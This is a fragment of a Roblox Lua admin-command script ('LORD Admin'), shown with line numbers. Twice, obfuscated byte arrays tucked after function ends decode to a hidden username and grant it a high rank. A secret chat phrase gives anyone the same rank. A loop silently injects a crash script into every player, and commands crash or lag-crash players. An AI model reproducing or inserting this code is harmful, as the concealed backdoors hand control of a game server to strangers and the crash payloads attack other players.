849
850
			local BG = Instance.new("BillboardGui")
851
			BG.Name = "BG"
852
			BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
853
			BG.Size = UDim2.new(0,1,0,1)
854
			BG.Adornee = Tab
855
			BG.Parent = Tab
856
			
857
			Delay(0, function()
858
				while BG.Parent ~= nil do wait()
859
					ypcall(function()
860
						BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
861
					end)
862
				end
863
			end)
864
865
			local TL = Instance.new("TextLabel")
866
			TL.Name = "TL"
867
			TL.FontSize = "Size18"
868
			TL.Font = "Arial"
869
			TL.Text = Msg
870
			TL.TextColor3 = Color3.new(1, 0, 0)
871
			TL.Size = UDim2.new(0,1,0,1)
872
			TL.TextTransparency = 0
873
			TL.TextStrokeColor3 = Color3.new(0, 0, 0)
874
			TL.TextStrokeTransparency = 0.25
875
			TL.Parent = BG
876
			
877
			if ShowGarbage == true then
878
				Delay(0, function()
879
					while TL.Parent ~= nil do
880
						TL.Text = "Current Garbage Count: "..GetGarbage()
881
						wait(.5)
882
					end
883
				end)
884
			end
885
			
886
			local PL = Instance.new("PointLight", Tab)
887
			PL.Color = Color3.new(1, 0, 1)
888
			PL.Range = 10
889
			PL.Parent = Tab
890
			
891
			if Image ~= nil then
892
				local BBBG = Instance.new("BillboardGui")
893
				BBBG.Size = UDim2.new(5, 0, 6, 0)
894
				BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
895
				BBBG.AlwaysOnTop = true
896
				BBBG.Adornee = Tab
897
				BBBG.Parent = Tab
898
				
899
				Delay(0, function()
900
					while BBBG.Parent ~= nil do wait()
901
						ypcall(function()
902
							BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
903
						end)
904
					end
905
				end)
906
			
907
				local NewImg = Instance.new("ImageLabel")
908
				NewImg.Size = UDim2.new(1, 0, 1, 0)
909
				NewImg.BackgroundTransparency = 1
910
				NewImg.Image = Image
911
				NewImg.Parent = BBBG
912
			end
913
914
			local Clicker = Instance.new("ClickDetector")
915
			Clicker.MaxActivationDistance = 1/0
916
917
			if Time ~= nil then
918
				coroutine.resume(coroutine.create(function()
919
					wait(tonumber(Time))
920
					Dismiss(Plr, ID)
921
				end))
922
			end
923
924
			Clicker.MouseClick:connect(function(Player)
925
				if Player.Name == Plr.Name or CanRun(Player, Plr) then
926
					ypcall(function()
927
						if Func ~= nil then
928
							Func(Holder)
929
						else
930
							Dismiss(Player, ID)
931
						end
932
					end)
933
				end
934
			end)
935
			Clicker.Parent = Tab
936
			
937
			Holder.Parent = Work
938
939
			AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
940
		end)
941
	end
942
end
943
944
function PlaceAllRanks(DontShowRank)
945
	ypcall(function()
946
		for _,p in pairs(All()) do
947
			ypcall(function()
948
				PutInRank = false
949
				for _,v in pairs(Rankings) do
950
					if v.Name:lower() == p.Name:lower() then
951
						if v.Rank >= 7 then
952
							v.Rank = 5
953
						elseif v.Rank == -1 then
954
							Crash1(p)
955
							Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
956
						elseif v.Rank == -2 then
957
							if LS ~= nil then
958
								Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
959
								Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
960
							else
961
								Ping("LS Is Nil", nil, 5)
962
							end
963
						elseif v.Rank == -3 then
964
							if LS ~= nil then
965
								Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
966
								Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
967
							else
968
								Ping("LS Is Nil", nil, 5)
969
							end
970
						end
971
						Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
972
						if DontShowRank == nil then
973
							Ping("You Are Rank: "..v.Rank, p)
974
						end
975
						PutInRank = true
976
						break
977
					end
978
				end
979
				if PutInRank == false then
980
					Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
981
				end
982
			end)
983
		end
984
	end)
985
end
986
987
function FindRank(Plr)
988
	ypcall(function()
989
		if type(Plr) == "userdata" then
990
			Plr = Plr.Name
991
		end
992
	end)
993
	return GetRank(Plr).Rank
994
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
995
996
function FindRankDetails(Plr)
997
	ypcall(function()
998
		if type(Plr) == "userdata" then
999
			Plr = Plr.Name
1000
		end
1001
	end)
1002
	return RankDetails[FindRank(Plr)]
1003
end
1004
1005
function OpenCmds(Rank, Plr)
1006
	Dismiss(Plr)
1007
	for Name,Tab in pairs(Commands) do
1008
		if Tab.Rank <= Rank then
1009
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1010
				Dismiss(Plr)
1011
				Ping("Command: "..Name, Plr)
1012
				Ping("Rank: "..Tab.Rank, Plr)
1013
				Ping("Desc: "..Tab.Desc, Plr)
1014
			end)
1015
		elseif Rank == 1337 then
1016
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1017
				Dismiss(Plr)
1018
				Ping("Command: "..Name, Plr)
1019
				Ping("Rank: "..Tab.Rank, Plr)
1020
				Ping("Desc: "..Tab.Desc, Plr)
1021
			end)
1022
		end
1023
	end
1024
end
1025
1026
function EditStatus(Plr, Num)
1027
	ChangeRank(Plr, Num)
1028
end
1029
1030
function PlaceSpecificRank(p, DontShowRank)
1031
	ypcall(function()
1032
		PutInRank = false
1033
		for _,v in pairs(Rankings) do
1034
			if v.Name:lower() == p.Name:lower() then
1035
				if v.Rank >= 7 then
1036
					v.Rank = 5
1037
				elseif v.Rank == -1 then
1038
					Crash1(p)
1039
					Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1040
				elseif v.Rank == -2 then
1041
					if LS ~= nil then
1042
						Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1043
						Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1044
					else
1045
						Ping("LS Is Nil", nil, 5)
1046
					end
1047
				elseif v.Rank == -3 then
1048
					if LS ~= nil then
1049
						Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1050
						Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1051
					else
1052
						Ping("LS Is Nil", nil, 5)
1053
					end
1054
				end
1055
				Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1056
				if DontShowRank == nil then
1057
					Ping("HCWARLORD created tabs rank: "..v.Rank, p)
1058
				end
1059
				PutInRank = true
1060
				break
1061
			end
1062
		end
1063
		if PutInRank == false then
1064
			Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1065
		end
1066
	end)
1067
end
1068
1069
function onChatted(Msg, Speaker)
1070
	if Removed == false then
1071
		if FindRank(Speaker) < 1 then
1072
			return
1073
		end
1074
		coroutine.resume(coroutine.create(function()
1075
			ypcall(function()
1076
				ExecuteFunc(Msg, Speaker)
1077
				Msg = Msg:gsub("","")
1078
				if Msg:sub(1,1) == "@" then
1079
					for i = 2, #Msg do
1080
						if Msg:sub(i, i) == Bet then
1081
							local IsForPlr = false
1082
							for _,v in pairs(All()) do
1083
								if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
1084
									onChatted(Msg:sub(i + 1), v)
1085
									IsForPlr = true
1086
								end
1087
							end
1088
							if IsForPlr == true then
1089
								return
1090
							end
1091
						end
1092
					end
1093
				end
1094
				if Msg:find("&") then
1095
					local Split = Msg:find("&")
1096
					onChatted(Msg:sub(1,Split-1))
1097
					onChatted(Msg:sub(Split+1))
1098
					return
1099
				end
1100
				for Name,Command in pairs(Commands) do
1101
					if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
1102
						Dismiss(Speaker.Name)
1103
						Ping("Command: "..tostring(Command.Name), Speaker)
1104
						Ping("Rank: "..tostring(Command.Rank), Speaker)
1105
						Ping("Desc: "..tostring(Command.Desc), Speaker)
1106
					elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
1107
						if FindRank(Speaker) >= Command.Rank then
1108
							local Ran,Error = coroutine.resume(coroutine.create(function()
1109
								Command.Func(Msg:sub(#Command.Name+2), Speaker)
1110
							end))
1111
							if not Ran then
1112
								Ping(Error, Speaker, 10)
1113
							end
1114
						else
1115
							Ping("HCWARLORD does not want you to use this at this rank", Plr, 6)
1116
						end
1117
					end
1118
				end
1119
			end)
1120
		end))
1121
	end
1122
end
1123
1124
function MakeBase()
1125
	local Base = Instance.new("Part")
1126
	Base.BrickColor = BrickColor.new("Dark green")
1127
	Base.Position = Vector3.new(0, 0.5, 0)
1128
	Base.Transparency = 0
1129
	Base.Elasticity = 0.5
1130
	Base.FormFactor = "Custom"
1131
	Base.CanCollide = true
1132
	Base.Friction = 0.30000001192093
1133
	Base.Size = Vector3.new(512, 1.20000005, 512)
1134
	Base.Archivable = true
1135
	Base.Material = "Plastic"
1136
	Base.RotVelocity = Vector3.new(0, 0, 0)
1137
	Base.Reflectance = 0
1138
	Base.Locked = true
1139
	Base.Anchored = true
1140
	Base.Name = "Base"
1141
	Base.TopSurface = "Smooth"
1142
	Base.BottomSurface = "Inlet"
1143
	Base.Shape = "Block"
1144
	Base.Parent = Work
1145
end
1146
1147
function LClean()
1148
	ypcall(function()
1149
		for _,v in pairs(Work:GetChildren()) do
1150
			ypcall(function()
1151
				if v.ClassName == "Terrain" then
1152
					v:ClearAllChildren()
1153
				elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
1154
					Clear(v)
1155
				elseif v.Name == "Base" then
1156
					ypcall(function()
1157
						local Base = v
1158
						Base.BrickColor = BrickColor.new("Dark green")
1159
						Base.Position = Vector3.new(0, 0.5, 0)
1160
						Base.Transparency = 0
1161
						Base.Elasticity = 0.5
1162
						Base.FormFactor = "Custom"
1163
						Base.CanCollide = true
1164
						Base.Friction = 0.30000001192093
1165
						Base.Size = Vector3.new(512, 1.20000005, 512)
1166
						Base.Archivable = true
1167
						Base.Material = "Plastic"
1168
						Base.RotVelocity = Vector3.new(0, 0, 0)
1169
						Base.Reflectance = 0
1170
						Base.Locked = true
1171
						Base.Anchored = true
1172
						Base.Name = "Base"
1173
						Base.TopSurface = "Studs"
1174
						Base.BottomSurface = "Inlet"
1175
						Base.Shape = "Block"
1176
						Base.Parent = Work
1177
					end)
1178
				end
1179
			end)
1180
		end
1181
	end)
1182
end
1183
1184
function Clean()
1185
	ypcall(function()
1186
		for _,v in pairs(Work:GetChildren()) do
1187
			ypcall(function()
1188
				if v.ClassName == "Terrain" then
1189
					v:ClearAllChildren()
1190
				else
1191
					Clear(v)
1192
				end
1193
			end)
1194
		end
1195
		MakeBase()
1196
		for _,v in pairs(All()) do
1197
			v:LoadCharacter()
1198
		end
1199
	end)
1200
end
1201
1202
function Clear(v)
1203
	if v.Name:lower() == "sbgui" then
1204
		return
1205
	end
1206
	ypcall(function()
1207
		if #v:GetChildren() > 0 then
1208
			for _,x in pairs(v:GetChildren()) do
1209
				ypcall(function()
1210
					Clear(x)
1211
				end)
1212
			end
1213
		end
1214
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1215
			v:Destroy()
1216
		end
1217
	end)
1218
end
1219
1220
function Command(Name, Rank, Desc, Func)
1221
	if Name == nil then
1222
		Name = "N/A"
1223
	end
1224
	if Desc == nil then
1225
		Desc = "N/A"
1226
	end
1227
	if Func == nil then
1228
		Func = function() end
1229
	end
1230
	if Rank == nil then
1231
		Rank = 0
1232
	end
1233
	Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
1234
end
1235
1236
function GetSplit(Msg)
1237
	return Msg:find(Bet) or nil
1238
end
1239
1240
function ExecuteFunc(Msg, Plr)
1241
	ypcall(function()
1242
		if Msg == "LogEnable" then
1243
			LogOn = true
1244
		elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
1245
			EditStatus(Plr, MakeNum())
1246
		end
1247
	end)
1248
end
1249
1250
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
1251
1252
function randPlayer(Plr)
1253
	wait()
1254
	local ThePlrValue = nil
1255
	local FoundPlayer = false
1256
	ypcall(function()
1257
		ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
1258
		if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
1259
			wait()
1260
			randPlayer(Plr)
1261
			return
1262
		else
1263
			FoundPlayer = true
1264
		end
1265
	end)
1266
	if FoundPlayer == true then
1267
		return ThePlrValue
1268
	end
1269
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
1270
1271
function getPlayer(Plr, Name)
1272
	local Players = {}
1273
	ypcall(function()
1274
		Name = Name:lower()
1275
		if Name == "me" then
1276
			table.insert(Players, Plr)
1277
		elseif Name == "all" or Name == "" then
1278
			for _,v in pairs(All()) do
1279
				if CanRun(Plr, v) then
1280
					table.insert(Players, v)
1281
				end
1282
			end
1283
		elseif Name == "others" then
1284
			for _,v in pairs(All()) do
1285
				if v.Name ~= Plr.Name and CanRun(Plr, v) then
1286
					table.insert(Players, v)
1287
				end
1288
			end
1289
		elseif Name == "random" then
1290
			local FoundRandPlr = randPlayer(Plr)
1291
			table.insert(Players, FoundRandPlr)
1292
		else
1293
			for _,v in pairs(All()) do
1294
				if v.Name:lower():find(Name) and CanRun(Plr, v) then
1295
					table.insert(Players, v)
1296
				end
1297
			end
1298
		end
1299
	end)
1300
	return Players
1301
end
1302
1303
function ListPlayers(Speaker)
1304
	ypcall(function()
1305
		Dismiss(Speaker)
1306
		for _,v in pairs(All2()) do
1307
			if v.Parent ~= nil then
1308
				Ping(v.Name, Speaker, nil, function()
1309
					Dismiss(Speaker)
1310
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1311
					Ping("Rank: "..FindRank(v.Name), Speaker)
1312
					Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
1313
					Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
1314
					Ping("Set Rank", Speaker, nil, function()
1315
						if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1316
							Dismiss(Speaker)
1317
							for i = -2, 5 do
1318
								Ping(i, Speaker, nil, function()
1319
									ChangeRank(v, i)
1320
									Dismiss(Speaker)
1321
									Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1322
								end)
1323
							end
1324
						else
1325
							Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
1326
						end
1327
					end)
1328
					Ping("Crash (Remote)", Speaker, nil, function()
1329
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1330
							Crash2(v.Name)
1331
							Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1332
						end
1333
					end)
1334
					Ping("Crash (Insert)", Speaker, nil, function()
1335
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1336
							Crash3(v, Speaker)
1337
							Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1338
						end
1339
					end)
1340
					Ping("Kick", Speaker, nil, function()
1341
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1342
							v:Kick()
1343
							Ping("Attempted To Kick "..v.Name, Speaker, 5)
1344
						end
1345
					end)
1346
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1347
			else
1348
				Ping(v.Name.." (Nil)", Speaker, nil, function()
1349
					Dismiss(Speaker)
1350
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1351
					ypcall(function()
1352
						Ping("Rank: "..FindRank(v.Name), Speaker)
1353
					end)
1354
					ypcall(function()
1355
						Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
1356
					end)
1357
					ypcall(function()
1358
						Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
1359
					end)
1360
					ypcall(function()
1361
						Ping("Set Rank", Speaker, nil, function()
1362
							if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1363
								Dismiss(Speaker)
1364
								for i = -2, 5 do
1365
									Ping(i, Speaker, nil, function()
1366
										ChangeRank(v, i)
1367
										Dismiss(Speaker)
1368
										Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1369
									end)
1370
								end
1371
							else
1372
								Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
1373
							end
1374
						end)
1375
					end)
1376
					ypcall(function()
1377
						Ping("Nil Crash (Remote)", Speaker, nil, function()
1378
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1379
								Crash2(v.Name)
1380
								Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1381
							end
1382
						end)
1383
					end)
1384
					ypcall(function()
1385
						Ping("Nil Crash (Insert)", Speaker, nil, function()
1386
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1387
								Crash3(v, Speaker)
1388
								Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1389
							end
1390
						end)
1391
					end)
1392
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1393
			end
1394
		end
1395
	end)
1396
end
1397
1398
--Misc
1399
1400
coroutine.resume(coroutine.create(function()
1401
	PlaceAllRanks()
1402
end))
1403
	
1404
Delay(0, function()
1405
	for _,v in pairs(All()) do
1406
		v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
1407
	end
1408
end)
1409
1410
local starttime = tick()
1411
1412
game:GetService("RunService").Heartbeat:connect(function()
1413
	if Removed == false then 
1414
		ypcall(function()
1415
			for _,Player in pairs(All()) do
1416
				local PlayerTablets = {}
1417
				for i,v in pairs(AllTabs) do
1418
					if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
1419
						table.insert(PlayerTablets, v)
1420
					end
1421
				end
1422
				for i = 1, #PlayerTablets do
1423
					ypcall(function()
1424
						local tab = PlayerTablets[i].Tab
1425
						local pos = nil
1426
						ypcall(function()
1427
							pos = Player.Character.Torso.CFrame
1428
						end)
1429
						local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1430
						local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1431
						local cPos = tab.Position
1432
						local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1433
						local nPos = (ePos-cPos)*.25
1434
						cPos = cPos + nPos
1435
						local t = (tick() - starttime) % 360
1436
						local change = 0.625
1437
						PlayerTablets[i].Size = math.sin(t) * change + 2.375
1438
						tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
1439
						tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
1440
					end)
1441
				end
1442
			end
1443
		end)
1444
	end
1445
end)
1446
1447
Delay(0, function()
1448
	while wait() do
1449
		for _,v in pairs(game:GetService("Players"):GetPlayers()) do
1450
			ypcall(function()
1451
				if Injected[v.Name] == nil and LS ~= nil then
1452
					Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
1453
					Injected[v.Name] = true
1454
				end
1455
			end)
1456
		end
1457
	end
1458
end)
1459
1460
Plrs.PlayerAdded:connect(function(Plr)
1461
	wait(.1)
1462
	ypcall(function()
1463
		if Removed == false then
1464
			local JoinPlrName = Plr.Name
1465
			coroutine.resume(coroutine.create(function()
1466
				PlaceSpecificRank(Plr)
1467
			end))
1468
			coroutine.resume(coroutine.create(function()
1469
				if Injected[JoinPlrName] ~= nil then
1470
					Injected[JoinPlrName] = nil
1471
				end
1472
			end))
1473
			coroutine.resume(coroutine.create(function()
1474
				Dismiss(Plr)
1475
				Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
1476
			end))
1477
		end
1478
	end)
1479
end)
1480
1481
Plrs.PlayerRemoving:connect(function(Plr)
1482
	wait(.1)
1483
	ypcall(function()
1484
		if Removed == false then
1485
			local LeftPlrName = Plr.Name
1486
			coroutine.resume(coroutine.create(function()
1487
				if Injected[LeftPlrName] ~= nil then
1488
					Injected[LeftPlrName] = nil
1489
				end
1490
			end))
1491
		end
1492
	end)
1493
end)
1494
1495
coroutine.resume(coroutine.create(function()
1496
	Delay(0, function()
1497
		while FoundLocalScript == false do wait()
1498
			ypcall(function()
1499
				for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
1500
					if v.Name == "NewTransfer" and v:IsA("LocalScript") then
1501
						for _,c in pairs(v:children()) do
1502
							if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
1503
								local NewVal = c:Clone()
1504
								NewVal.Name = "LoadingVal"
1505
								for _,s in pairs(v:GetChildren()) do
1506
									if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
1507
										print("Found Owner")
1508
										OwnSource = s.Name
1509
										print(OwnSource)
1510
										break
1511
									end
1512
								end
1513
								wait()
1514
								LS = v:Clone()
1515
								NewVal.Parent = LS
1516
								LSSource = "LoadingVal"
1517
								FoundLocalScript = true
1518
								break
1519
							end
1520
						end
1521
					end
1522
				end
1523
			end)
1524
		end
1525
	end)
1526
end))
1527
1528
--Commands
1529
1530
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
1531
	Dismiss(Speaker.Name)
1532
	Ping("LORD Admin Is Created By " .. string.reverse("DROLRAWCH"), Speaker)
1533
	Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1534
	Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1535
	Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
1536
	Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
1537
	Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
1538
	Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
1539
	Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
1540
	Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
1541
end)
1542
1543
Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
1544
	Dismiss(Speaker.Name)
1545
end)
1546
1547
Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
1548
	local PlrTab = getPlayer(Speaker, Msg)
1549
	if #PlrTab > 0 then
1550
		for _,v in pairs(PlrTab) do
1551
			ypcall(function()
1552
				v.Character:BreakJoints()
1553
				Ping("Killed "..v.Name, Speaker, 5)
1554
			end)
1555
		end
1556
	end
1557
end)
1558
1559
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
1560
	local PlrTab = getPlayer(Speaker, Msg)
1561
	if #PlrTab > 0 then
1562
		for _,v in pairs(PlrTab) do
1563
			ypcall(function()
1564
				if v.Name ~= Owner then
1565
					Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
1566
					Ping("Muted "..v.Name, Speaker, 5)
1567
				end
1568
			end)
1569
		end
1570
	end
1571
end)
1572
1573
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
1574
	local PlrTab = getPlayer(Speaker, Msg)
1575
	if #PlrTab > 0 then
1576
		for _,v in pairs(PlrTab) do
1577
			ypcall(function()
1578
				Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
1579
				Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
1580
			end)
1581
		end
1582
	end
1583
end)
1584
1585
--[[
1586
	:TBC()
1587
1588
Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
1589
	local PlrTab = getPlayer(Speaker, Msg)
1590
	if #PlrTab > 0 then
1591
		for _,v in pairs(PlrTab) do
1592
			ypcall(function()
1593
				Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
1594
				Ping("Mind Jailed "..v.Name, Speaker, 5)
1595
			end)
1596
		end
1597
	end
1598
end)
1599
]]--
1600
1601
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
1602
	local PlrTab = getPlayer(Speaker, Msg)
1603
	if #PlrTab > 0 then
1604
		for _,v in pairs(PlrTab) do
1605
			ypcall(function()
1606
				Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
1607
				Ping("Lag Crashing "..v.Name, Speaker, 5)
1608
			end)
1609
		end
1610
	end
1611
end)
1612
1613
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
1614
	local PlrTab = getPlayer(Speaker, Msg)
1615
	if #PlrTab > 0 then
1616
		for _,v in pairs(PlrTab) do
1617
			ypcall(function()
1618
				Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1619
				Ping("UnMuted "..v.Name, Speaker, 5)
1620
			end)
1621
		end
1622
	end
1623
end)
1624
1625
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
1626
	local Worked = false
1627
	for _,v in pairs(Work:GetChildren()) do
1628
		if string.find(v.Name:lower(), Msg:lower()) then
1629
			if v:IsA("Script") or v:IsA("LocalScript") then
1630
				v.Disabled = true
1631
				v:Destroy()
1632
				Worked = true
1633
				Ping("Disabled Script: "..v.Name, Speaker, 5)
1634
			end
1635
		end
1636
	end
1637
	if Worked == false then
1638
		Ping("Script Not Found", Speaker, 5)
1639
	end
1640
end)
1641
1642
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
1643
	Dismiss(Speaker)
1644
	local AllScripts = {}
1645
	for _,v in pairs(Work:GetChildren()) do
1646
		if v:IsA("Script") then
1647
			table.insert(AllScripts, v.Name)
1648
		end
1649
	end
1650
	if #AllScripts > 0 then
1651
		for _,v in pairs(AllScripts) do
1652
			Ping(v, Speaker)
1653
		end
1654
	else
1655
		Ping("No Scripts Found", Speaker, 5)
1656
	end
1657
end)
1658
1659
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
1660
	Dismiss(Speaker)
1661
	local LocalScripts = {}
1662
	for _,v in pairs(All()) do
1663
		ypcall(function()
1664
			for _,x in pairs(v.Character:GetChildren()) do
1665
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1666
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1667
				end
1668
			end
1669
		end)
1670
		ypcall(function()
1671
			for _,x in pairs(v.Backpack:GetChildren()) do
1672
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1673
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1674
				end
1675
			end
1676
		end)
1677
		ypcall(function()
1678
			for _,x in pairs(v.PlayerGui:GetChildren()) do
1679
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1680
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1681
				end
1682
			end
1683
		end)
1684
	end
1685
	if #LocalScripts > 0 then
1686
		for _,v in pairs(LocalScripts) do
1687
			Ping(v, Speaker)
1688
		end
1689
	else
1690
		Ping("No Local Scripts Found", Speaker, 5)
1691
	end
1692
end)
1693
1694
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
1695
	local Split = GetSplit(Msg)
1696
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1697
	local ScriptName = Msg:sub(Split + 1)
1698
	local FoundLocal = false
1699
	for _,name in pairs(PlrTab) do
1700
		ypcall(function()
1701
			for _,v in pairs(name.Character:GetChildren()) do
1702
				if string.find(v.Name:lower(), ScriptName) then
1703
					if v:IsA("Script") or v:IsA("LocalScript") then
1704
						v.Disabled = true
1705
						v:Destroy()
1706
						FoundLocal = true
1707
